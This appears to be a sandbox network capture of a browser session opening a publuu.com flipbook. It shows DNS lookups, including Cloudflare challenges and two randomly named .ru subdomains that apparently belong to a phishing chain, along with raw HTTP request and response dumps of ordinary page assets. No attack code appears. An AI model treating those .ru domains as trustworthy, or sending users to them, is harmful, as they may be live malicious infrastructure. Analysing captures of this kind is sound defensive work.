Mar 26, 2025 18:36:31.976397038 CET	1.1.1.1	192.168.2.17	0x929e	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:31.976397038 CET	1.1.1.1	192.168.2.17	0x929e	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:31.976397038 CET	1.1.1.1	192.168.2.17	0x929e	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:31.976397038 CET	1.1.1.1	192.168.2.17	0x929e	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:31.976397038 CET	1.1.1.1	192.168.2.17	0x929e	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:31.976417065 CET	1.1.1.1	192.168.2.17	0xf4e0	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Mar 26, 2025 18:36:32.299838066 CET	1.1.1.1	192.168.2.17	0xab01	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:32.299838066 CET	1.1.1.1	192.168.2.17	0xab01	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:32.299890041 CET	1.1.1.1	192.168.2.17	0xf77e	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Mar 26, 2025 18:36:33.254743099 CET	1.1.1.1	192.168.2.17	0x4aef	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:33.254743099 CET	1.1.1.1	192.168.2.17	0x4aef	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:33.254760027 CET	1.1.1.1	192.168.2.17	0x1937	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Mar 26, 2025 18:36:44.239140034 CET	1.1.1.1	192.168.2.17	0xab34	No error (0)	o0xs89.hxnywi.ru		104.21.29.234	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:44.239140034 CET	1.1.1.1	192.168.2.17	0xab34	No error (0)	o0xs89.hxnywi.ru		172.67.149.248	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:44.394473076 CET	1.1.1.1	192.168.2.17	0x5e2a	No error (0)	o0xs89.hxnywi.ru			65	IN (0x0001)	false
Mar 26, 2025 18:36:45.354545116 CET	1.1.1.1	192.168.2.17	0xb2c9	No error (0)	o0xs89.hxnywi.ru		104.21.29.234	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:45.354545116 CET	1.1.1.1	192.168.2.17	0xb2c9	No error (0)	o0xs89.hxnywi.ru		172.67.149.248	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:45.354562044 CET	1.1.1.1	192.168.2.17	0xc3e	No error (0)	o0xs89.hxnywi.ru			65	IN (0x0001)	false
Mar 26, 2025 18:36:46.287583113 CET	1.1.1.1	192.168.2.17	0xff05	No error (0)	ajtl2.clriwhkc.ru		104.21.45.130	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:46.287583113 CET	1.1.1.1	192.168.2.17	0xff05	No error (0)	ajtl2.clriwhkc.ru		172.67.214.162	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:46.287599087 CET	1.1.1.1	192.168.2.17	0xcd91	No error (0)	ajtl2.clriwhkc.ru			65	IN (0x0001)	false
Mar 26, 2025 18:36:47.145104885 CET	1.1.1.1	192.168.2.17	0xdc9e	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:48.770710945 CET	1.1.1.1	192.168.2.17	0x6238	No error (0)	github.com		140.82.114.3	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:48.803833961 CET	1.1.1.1	192.168.2.17	0xd190	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 18:36:48.832195044 CET	1.1.1.1	192.168.2.17	0xc5b	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 18:36:48.832195044 CET	1.1.1.1	192.168.2.17	0xc5b	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.11	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:48.832195044 CET	1.1.1.1	192.168.2.17	0xc5b	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.96	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:48.832195044 CET	1.1.1.1	192.168.2.17	0xc5b	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.91	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:48.832195044 CET	1.1.1.1	192.168.2.17	0xc5b	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.110	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:49.230089903 CET	1.1.1.1	192.168.2.17	0x34df	No error (0)	objects.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:49.230089903 CET	1.1.1.1	192.168.2.17	0x34df	No error (0)	objects.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:49.230089903 CET	1.1.1.1	192.168.2.17	0x34df	No error (0)	objects.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:49.230089903 CET	1.1.1.1	192.168.2.17	0x34df	No error (0)	objects.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:49.276783943 CET	1.1.1.1	192.168.2.17	0xdfe9	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 18:36:49.276783943 CET	1.1.1.1	192.168.2.17	0xdfe9	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.91	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:49.276783943 CET	1.1.1.1	192.168.2.17	0xdfe9	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.110	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:49.276783943 CET	1.1.1.1	192.168.2.17	0xdfe9	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.11	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:49.276783943 CET	1.1.1.1	192.168.2.17	0xdfe9	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.96	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:49.276796103 CET	1.1.1.1	192.168.2.17	0xccdf	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 18:37:14.591291904 CET	1.1.1.1	192.168.2.17	0x69d8	No error (0)	api1.publuu.com		3.17.199.31	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:37:14.591291904 CET	1.1.1.1	192.168.2.17	0x69d8	No error (0)	api1.publuu.com		18.118.204.179	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:37:14.591291904 CET	1.1.1.1	192.168.2.17	0x69d8	No error (0)	api1.publuu.com		3.140.25.251	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:37:14.600455046 CET	1.1.1.1	192.168.2.17	0x9e27	No error (0)	d2z1mhfwexgacj.cloudfront.net		18.164.131.198	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:37:14.600455046 CET	1.1.1.1	192.168.2.17	0x9e27	No error (0)	d2z1mhfwexgacj.cloudfront.net		18.164.131.164	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:37:14.600455046 CET	1.1.1.1	192.168.2.17	0x9e27	No error (0)	d2z1mhfwexgacj.cloudfront.net		18.164.131.47	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:37:14.600455046 CET	1.1.1.1	192.168.2.17	0x9e27	No error (0)	d2z1mhfwexgacj.cloudfront.net		18.164.131.144	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:37:15.140419006 CET	1.1.1.1	192.168.2.17	0x8eb4	No error (0)	api1.publuu.com		3.17.199.31	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:37:15.140419006 CET	1.1.1.1	192.168.2.17	0x8eb4	No error (0)	api1.publuu.com		3.140.25.251	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:37:15.140419006 CET	1.1.1.1	192.168.2.17	0x8eb4	No error (0)	api1.publuu.com		18.118.204.179	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:17 UTC	948	OUT	GET /flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom HTTP/1.1 Host: publuu.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:17 UTC	230	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:36:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: Apache/2.4.62 (Debian) Vary: Accept-Encoding Access-Control-Allow-Origin: *
2025-03-26 17:36:17 UTC	16154	IN	Data Raw: 36 31 36 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 42 6f 6f 6b 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 Data Ascii: 6161<!DOCTYPE html><html lang="en" itemscope itemtype="http://schema.org/Book"><head><meta charset="UTF-8"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="vi
2025-03-26 17:36:17 UTC	8783	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 76 67 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 3e 50 72 69 6e 74 20 66 6c 69 70 62 6f 6f 6b 3c 2f 73 70 61 6e 3e 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 69 6e 74 2d 72 61 64 69 6f 73 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </g> </g> </svg> </div> <span>Print flipbook</span> </div> <div class="print-radios-container">
2025-03-26 17:36:17 UTC	11615	IN	Data Raw: 32 64 35 37 0d 0a 69 6d 69 7a 65 51 75 61 6c 69 74 79 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 76 69 65 77 42 6f 78 3d 22 31 34 20 31 34 20 33 32 20 33 32 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 73 76 67 2d 70 68 6f 74 6f 20 73 76 67 2d 70 68 6f 74 6f 2d 31 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 73 76 67 2d 70 68 6f 74 6f 20 2e 73 79 6d 62 6f 6c 7b 66 69 6c 6c 3a 23 31 46 31 41 31 37 3b 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 2d57imizeQuality" fill-rule="evenodd" clip-rule="evenodd" viewBox="14 14 32 32" xmlns:xlink="http://www.w3.org/1999/xlink" class="svg-photo svg-photo-1"> <style type="text/css"> .svg-photo .symbol{fill:#1F1A17;}
2025-03-26 17:36:17 UTC	8985	IN	Data Raw: 32 33 31 31 0d 0a 22 3a 22 44 6f 77 6e 6c 6f 61 64 22 2c 22 45 6c 65 6d 65 6e 74 73 20 44 65 73 63 72 69 70 74 69 6f 6e 20 41 75 64 69 6f 20 4f 66 66 22 3a 22 54 75 72 6e 20 6f 66 66 20 41 75 64 69 6f 22 2c 22 45 6c 65 6d 65 6e 74 73 20 44 65 73 63 72 69 70 74 69 6f 6e 20 41 75 64 69 6f 20 4f 6e 22 3a 22 54 75 72 6e 20 6f 6e 20 41 75 64 69 6f 22 2c 22 45 6c 65 6d 65 6e 74 73 20 44 65 73 63 72 69 70 74 69 6f 6e 20 41 75 64 69 6f 22 3a 22 54 75 72 6e 20 6f 6e 5c 2f 6f 66 66 20 41 75 64 69 6f 22 2c 22 45 6c 65 6d 65 6e 74 73 20 44 65 73 63 72 69 70 74 69 6f 6e 20 50 72 69 6e 74 22 3a 22 50 72 69 6e 74 22 2c 22 45 6c 65 6d 65 6e 74 73 20 44 65 73 63 72 69 70 74 69 6f 6e 20 41 64 64 20 4e 6f 74 65 22 3a 22 41 64 64 20 4e 6f 74 65 22 2c 22 45 6c 65 6d 65 6e 74 Data Ascii: 2311":"Download","Elements Description Audio Off":"Turn off Audio","Elements Description Audio On":"Turn on Audio","Elements Description Audio":"Turn on\/off Audio","Elements Description Print":"Print","Elements Description Add Note":"Add Note","Element
2025-03-26 17:36:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:17 UTC	601	OUT	GET /flipbook/202503/02/assets/scripts/APP.js?v=1748 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive Origin: https://publuu.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:17 UTC	453	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 28422 Connection: close Server: CloudFront Date: Fri, 21 Mar 2025 10:45:04 GMT Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 932c2b3276a26e6c28876ec88fecf714.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: FYw5bTeuG1oiTFyDz6e3e42GM7XlL9QJVKBj8aNyMvtc9ywfInEc7A== Age: 456673 Cache-Control: max-age=31536000 Access-Control-Allow-Origin: *
2025-03-26 17:36:17 UTC	15931	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 77 69 6e 64 6f 77 2e 41 50 50 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2c 65 3d 21 31 3b 6c 65 74 20 6c 3d 21 31 3b 74 68 69 73 2e 73 68 6f 77 46 53 6c 6f 63 6b 65 64 3d 21 30 2c 74 68 69 73 2e 68 69 64 65 46 53 6c 6f 63 6b 65 64 3d 21 31 2c 74 68 69 73 2e 73 6f 6d 65 55 73 65 72 49 74 65 72 61 63 74 69 6f 6e 3d 21 31 2c 74 68 69 73 2e 63 6f 75 6e 74 4f 66 53 65 6e 64 65 64 45 72 72 6f 72 4c 6f 67 73 3d 30 2c 74 68 69 73 2e 61 63 63 65 73 73 41 6c 6c 6f 77 65 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 75 73 74 6f 6d 69 7a 65 53 65 74 74 69 6e 67 73 3d 7b 7d 2c 74 68 69 73 2e 50 41 54 48 5f 43 4c 4f 55 44 46 52 4f 4e 54 5f 44 45 4d 4f 3d 22 68 74 74 70 73 3a 2f 2f 64 31 75 39 75 61 34 Data Ascii: "use strict";window.APP=new function(){var a=this,e=!1;let l=!1;this.showFSlocked=!0,this.hideFSlocked=!1,this.someUserIteraction=!1,this.countOfSendedErrorLogs=0,this.accessAllowed=null,this.customizeSettings={},this.PATH_CLOUDFRONT_DEMO="https://d1u9ua4
2025-03-26 17:36:17 UTC	9653	IN	Data Raw: 6e 61 62 6c 65 64 5f 61 66 74 65 72 5f 63 6f 6c 6c 61 70 73 65 22 29 26 26 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 73 65 74 5f 6c 65 61 64 5f 6f 6e 5f 70 61 67 65 3a 74 68 69 73 2e 42 6f 6f 6b 2e 67 65 74 43 75 72 72 65 6e 74 50 61 67 65 28 29 7d 2c 22 2a 22 29 2c 63 75 73 74 6f 6d 69 7a 65 6d 6f 64 65 26 26 72 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 6c 65 61 64 5f 66 6f 72 6d 5f 65 6e 61 62 6c 65 64 5f 61 66 74 65 72 5f 63 6f 6c 6c 61 70 73 65 22 29 26 26 28 74 68 69 73 2e 42 6f 6f 6b 2e 73 65 74 50 61 67 65 28 72 2e 6c 65 61 64 5f 66 6f 72 6d 5f 65 6e 61 62 6c 65 64 5f 61 66 74 65 72 5f 63 6f 6c 6c 61 70 73 65 2c 22 72 61 6e 67 65 72 22 29 2c 74 68 69 73 2e 42 6f 6f 6b 2e 73 65 74 46 6f 6f 74 65 72 50 Data Ascii: nabled_after_collapse")&&window.parent.postMessage({set_lead_on_page:this.Book.getCurrentPage()},"*"),customizemode&&r.hasOwnProperty("lead_form_enabled_after_collapse")&&(this.Book.setPage(r.lead_form_enabled_after_collapse,"ranger"),this.Book.setFooterP
2025-03-26 17:36:17 UTC	2838	IN	Data Raw: 6c 6c 2c 69 73 5f 74 6f 75 63 68 73 63 72 65 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 69 73 5f 74 6f 75 63 68 73 63 72 65 65 6e 3d 6e 75 6c 6c 3d 3d 3d 5f 69 73 5f 74 6f 75 63 68 73 63 72 65 65 6e 3f 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 5f 69 73 5f 74 6f 75 63 68 73 63 72 65 65 6e 7d 2c 5f 69 73 5f 72 65 74 69 6e 61 3d 6e 75 6c 6c 2c 69 73 5f 72 65 74 69 6e 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 69 66 28 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 29 72 65 74 75 72 6e 28 65 3d 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 22 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 2d 6d 6f 7a 2d 64 65 76 Data Ascii: ll,is_touchscreen=function(){return _is_touchscreen=null===_is_touchscreen?"ontouchstart"in document.documentElement:_is_touchscreen},_is_retina=null,is_retina=function(){var e;if(window.matchMedia)return(e=window.matchMedia("only screen and (min--moz-dev

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:17 UTC	624	OUT	GET /flipbook/202503/02/assets/css/loader.css?v=1748 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:17 UTC	421	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 13032 Connection: close Server: CloudFront Date: Fri, 21 Mar 2025 11:06:54 GMT Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 e3d2c542026df7b9357e3b591c889f64.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: EBL3rnSSE1Ug2GpWToOY6QYerCb6Q_O1MmiyDH19noS8cA4-2OVbUw== Age: 455363 Cache-Control: max-age=31536000 Vary: Origin
2025-03-26 17:36:17 UTC	13032	IN	Data Raw: 3a 69 73 28 2e 6c 6f 61 64 65 72 2c 2e 6c 6f 61 64 65 72 2d 2d 73 69 6d 70 6c 65 29 7b 77 69 64 74 68 3a 31 30 30 76 77 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 7d 2e 6c 6f 61 64 65 72 2d 2d 73 69 6d 70 6c 65 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 32 73 20 6f 70 61 63 69 74 79 20 65 61 73 65 2c 2e 32 73 20 76 69 73 69 62 69 6c 69 74 79 20 65 61 73 Data Ascii: :is(.loader,.loader--simple){width:100vw;height:100%;position:absolute;top:0;display:flex;flex-direction:column;align-items:center;justify-content:center;z-index:1000}.loader--simple{height:100%;z-index:10000;transition:.2s opacity ease,.2s visibility eas

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:17 UTC	608	OUT	GET /flipbook/202503/02/assets/scripts/VideoEmbed.js?v=1748 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive Origin: https://publuu.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:17 UTC	452	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 9175 Connection: close Server: CloudFront Date: Fri, 21 Mar 2025 10:45:04 GMT Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 547ed58ab09c3c811d28ab963755fcd8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: HJxkypaJ9XCTLQIxEjzS5Z8iaKVTrlDicnEXtqoZrf4sVlPgXAvXqg== Age: 456673 Cache-Control: max-age=31536000 Access-Control-Allow-Origin: *
2025-03-26 17:36:17 UTC	9175	IN	Data Raw: 41 50 50 6f 6e 52 65 61 64 79 2e 61 64 64 28 66 75 6e 63 74 69 6f 6e 28 29 7b 41 50 50 2e 45 4d 42 45 44 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 73 65 6c 66 3d 74 68 69 73 3b 63 6f 6e 73 74 20 6c 3d 5b 22 77 65 62 6d 22 2c 22 6d 70 34 22 5d 3b 6c 65 74 20 73 3d 5b 5d 2c 69 3d 21 31 2c 64 3d 21 31 2c 75 3d 6e 75 6c 6c 3b 74 68 69 73 2e 69 6e 69 61 6c 69 7a 65 59 6f 75 74 75 62 65 50 6c 61 79 65 72 3d 61 73 79 6e 63 28 74 2c 61 2c 6f 2c 72 2c 6e 2c 6c 3d 6e 75 6c 6c 29 3d 3e 7b 64 7c 7c 61 77 61 69 74 20 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 41 50 50 2e 50 41 54 48 5f 43 46 5f 46 4c 49 50 2b 22 61 73 73 65 74 73 2f 73 63 72 69 70 74 73 2f 77 6f 72 6b 65 72 73 2f 79 74 2f 70 6c 61 79 65 72 2e 6a 73 22 3b 74 72 79 7b 76 61 72 20 74 Data Ascii: APPonReady.add(function(){APP.EMBED=new function(){self=this;const l=["webm","mp4"];let s=[],i=!1,d=!1,u=null;this.inializeYoutubePlayer=async(t,a,o,r,n,l=null)=>{d\|\|await function(){const e=APP.PATH_CF_FLIP+"assets/scripts/workers/yt/player.js";try{var t

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:17 UTC	624	OUT	GET /flipbook/202503/02/assets/css/APP-xs.css?v=1748 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:17 UTC	421	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 22807 Connection: close Server: CloudFront Date: Mon, 24 Mar 2025 04:14:54 GMT Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 9d75edcf5a40394118428c99809b7ff6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: mGSZOe0TJmLWbWnbERoL0lQWGwF207JN_GhZfL6ns4A3Otnozas5tQ== Age: 220883 Cache-Control: max-age=31536000 Vary: Origin
